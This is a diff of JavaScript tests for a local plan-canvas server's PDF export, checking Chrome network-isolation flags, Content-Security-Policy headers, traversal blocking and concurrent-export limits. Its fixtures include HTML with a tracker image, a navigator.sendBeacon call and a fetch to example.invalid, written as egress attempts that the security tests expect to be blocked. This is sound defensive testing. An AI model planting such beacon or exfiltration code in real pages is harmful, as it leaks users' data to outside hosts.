|
||||
let spawned = null;
|
||||
let child = null;
|
||||
@@ -151,6 +153,11 @@ async function main() {
|
||||
assert.strictEqual(spawned.command, '/opt/test/chrome');
|
||||
assert.strictEqual(spawned.options.shell, false);
|
||||
assert.ok(spawned.args.includes('--headless=new'));
|
||||
assert.ok(spawned.args.includes('--disable-background-networking'));
|
||||
assert.ok(spawned.args.includes('--disable-quic'));
|
||||
assert.ok(spawned.args.some(arg => /^--proxy-server=http:\/\/127\.0\.0\.1:\d+$/.test(arg)));
|
||||
assert.ok(spawned.args.includes('--proxy-bypass-list=<-loopback>;http://localhost:4517'));
|
||||
assert.ok(spawned.args.includes('--host-resolver-rules=MAP * ~NOTFOUND, EXCLUDE localhost'));
|
||||
assert.ok(spawned.args.includes('http://localhost:4517/artifact/abc123/?pdf=1'));
|
||||
assert.strictEqual(child.signalCode, 'SIGTERM');
|
||||
assert.deepStrictEqual(fs.readdirSync(tempRoot), []);
|
||||
|
||||
@@ -92,13 +92,18 @@ async function main() {
|
||||
const artifact = path.join(tmp, 'demo.plan.md');
|
||||
fs.writeFileSync(artifact, '# Plan: Demo\n\n## Files to Change\n\n| File | Action |\n|---|---|\n| `a.js` | UPDATE |\n');
|
||||
const htmlArtifact = path.join(tmp, 'report.html');
|
||||
fs.writeFileSync(htmlArtifact, '<!DOCTYPE html><html><body><h1>Report</h1></body></html>');
|
||||
fs.writeFileSync(
|
||||
htmlArtifact,
|
||||
'<!DOCTYPE html><html><body><h1>Report</h1><img src="https://example.invalid/tracker.png"><script>navigator.sendBeacon("https://example.invalid/beacon", "plan")</script></body></html>'
|
||||
);
|
||||
fs.writeFileSync(path.join(tmp, 'style.css'), 'body { color: red }');
|
||||
const outsideDir = fs.mkdtempSync(path.join(os.tmpdir(), 'plan-canvas-outside-'));
|
||||
fs.writeFileSync(path.join(outsideDir, 'secret.txt'), 'secret');
|
||||
|
||||
const store = createSessionStore({ stateDir: path.join(tmp, 'state') });
|
||||
const pdfRequests = [];
|
||||
let holdPdfExport = false;
|
||||
let releasePdfExport = null;
|
||||
let idleFired = false;
|
||||
const canvas = createPlanCanvasServer({
|
||||
store,
|
||||
@@ -107,6 +112,7 @@ async function main() {
|
||||
idleTimeoutMs: 0,
|
||||
pdfExporter: async options => {
|
||||
pdfRequests.push(options);
|
||||
if (holdPdfExport) await new Promise(resolve => { releasePdfExport = resolve; });
|
||||
return { buffer: Buffer.from('%PDF-1.4\n%%EOF\n'), filename: 'demo.pdf' };
|
||||
},
|
||||
onIdleShutdown: () => {
|
||||
@@ -200,6 +206,19 @@ async function main() {
|
||||
assert.ok(res.body.includes('<script src="/sdk.js"></script>\n</body>'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (await test('PDF artifact responses block remote images and inline beacon egress', async () => {
|
||||
const res = await request(port, 'GET', `/artifact/${htmlKey}/?pdf=1`);
|
||||
const csp = res.headers['content-security-policy'];
|
||||
assert.strictEqual(res.statusCode, 200);
|
||||
assert.ok(csp.includes("default-src 'none'"));
|
||||
assert.ok(csp.includes("img-src 'self' data:"));
|
||||
assert.ok(csp.includes("connect-src 'none'"));
|
||||
assert.ok(csp.includes("form-action 'none'"));
|
||||
assert.ok(csp.includes("script-src 'none'"));
|
||||
assert.ok(res.body.includes('https://example.invalid/tracker.png'));
|
||||
assert.ok(res.body.includes('navigator.sendBeacon'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (await test('sibling assets are served, traversal is blocked', async () => {
|
||||
const ok = await request(port, 'GET', `/artifact/${key}/style.css`);
|
||||
assert.strictEqual(ok.statusCode, 200);
|
||||
@@ -213,11 +232,17 @@ async function main() {
|
||||
const res = await request(port, 'GET', asset);
|
||||
assert.strictEqual(res.statusCode, 200, `${asset} should be 200`);
|
||||
}
|
||||
const sdk = await request(port, 'GET', '/sdk.js');
|
||||
assert.doesNotThrow(() => new Function(sdk.body));
|
||||
assert.ok(sdk.body.includes("msg.type === 'pc:export-snapshot'"));
|
||||
assert.ok(sdk.body.includes("querySelectorAll('script,iframe,object,embed,form,base,meta[http-equiv]"));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (await test('Download PDF fetches a generated PDF and starts a browser download', async () => {
|
||||
const client = await request(port, 'GET', '/client.js');
|
||||
assert.ok(client.body.includes("'/api/session/' + key + '/pdf'"));
|
||||
assert.ok(client.body.includes("method: snapshot ? 'POST' : 'GET'"));
|
||||
assert.ok(client.body.includes("type: 'pc:export-snapshot'"));
|
||||
assert.ok(client.body.includes('URL.createObjectURL'));
|
||||
|
||||
const res = await request(port, 'GET', `/api/session/${key}/pdf`);
|
||||
@@ -231,6 +256,28 @@ async function main() {
|
||||
assert.strictEqual(pdfRequests[0].url, `http://127.0.0.1:${port}/artifact/${key}/?pdf=1`);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (await test('concurrent PDF exports return a bounded retryable overload response', async () => {
|
||||
holdPdfExport = true;
|
||||
const snapshot = '<!doctype html><html><body><h1>Already rendered diagram</h1><svg><text>Local SVG</text></svg><script>fetch("https://example.invalid")</script></body></html>';
|
||||
const first = request(port, 'POST', `/api/session/${key}/pdf`, { body: { html: snapshot } });
|
||||
await waitFor(() => typeof releasePdfExport === 'function');
|
||||
const printable = await request(port, 'GET', `/artifact/${key}/?pdf=1`);
|
||||
assert.ok(printable.body.includes('Already rendered diagram'));
|
||||
assert.ok(printable.body.includes('Local SVG'));
|
||||
assert.ok(printable.headers['content-security-policy'].includes("script-src 'none'"));
|
||||
const overloaded = await request(port, 'GET', `/api/session/${key}/pdf`);
|
||||
assert.strictEqual(overloaded.statusCode, 429);
|
||||
assert.strictEqual(overloaded.headers['retry-after'], '1');
|
||||
assert.deepStrictEqual(jsonBody(overloaded), {
|
||||
error: 'another PDF export is already in progress',
|
||||
code: 'PDF_EXPORT_BUSY'
|
||||
});
|
||||
releasePdfExport();
|
||||
assert.strictEqual((await first).statusCode, 200);
|
||||
holdPdfExport = false;
|
||||
releasePdfExport = null;
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (await test('browser client uses finite polling instead of one permanent connection per canvas', async () => {
|
||||
const res = await request(port, 'GET', '/client.js');
|
||||
assert.ok(res.body.includes("'/api/session/' + key + '/state'"));
|
||||
|
||||
Reference in New Issue
Block a user